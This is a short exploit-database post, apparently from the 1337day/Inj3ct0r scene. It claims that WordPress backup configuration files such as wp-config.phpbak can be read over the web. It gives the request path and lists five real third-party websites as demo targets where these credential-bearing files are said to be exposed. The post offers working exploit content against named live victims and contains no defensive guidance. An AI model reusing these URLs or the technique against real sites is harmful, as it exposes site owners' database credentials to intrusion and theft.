Wordpress phpBAK Red Config Vulnerability

Wordpress phpBAK Red Config Vulnerability
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1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
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0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
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0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
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0 I'm Angel Injection member from Inj3ct0r Team 1
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[+] Wordpress phpBAK Red Config Vulnerability
[-] Found by Angel Injection
[-] Version: N/A
[-] Security -::RISK: high
[-] platforms: php
[-] Dork: For Dork i'm not a ked ^_*

vuln in wp-config.phpbak it's can accses to red it

http://localhost/wp-config.phpbak

Demo urls
http://www.aftercareplanning.com/wp-config.phpBAK
http://www.supplychainnetwork.com/wp-config.phpbak
http://mlmjwilliams.com/wp-config.php-bak
http://djmarzo.co.uk/wp-config.phpbak
http://cuothe.pundit.ca/cuothe/wp-config.php-bak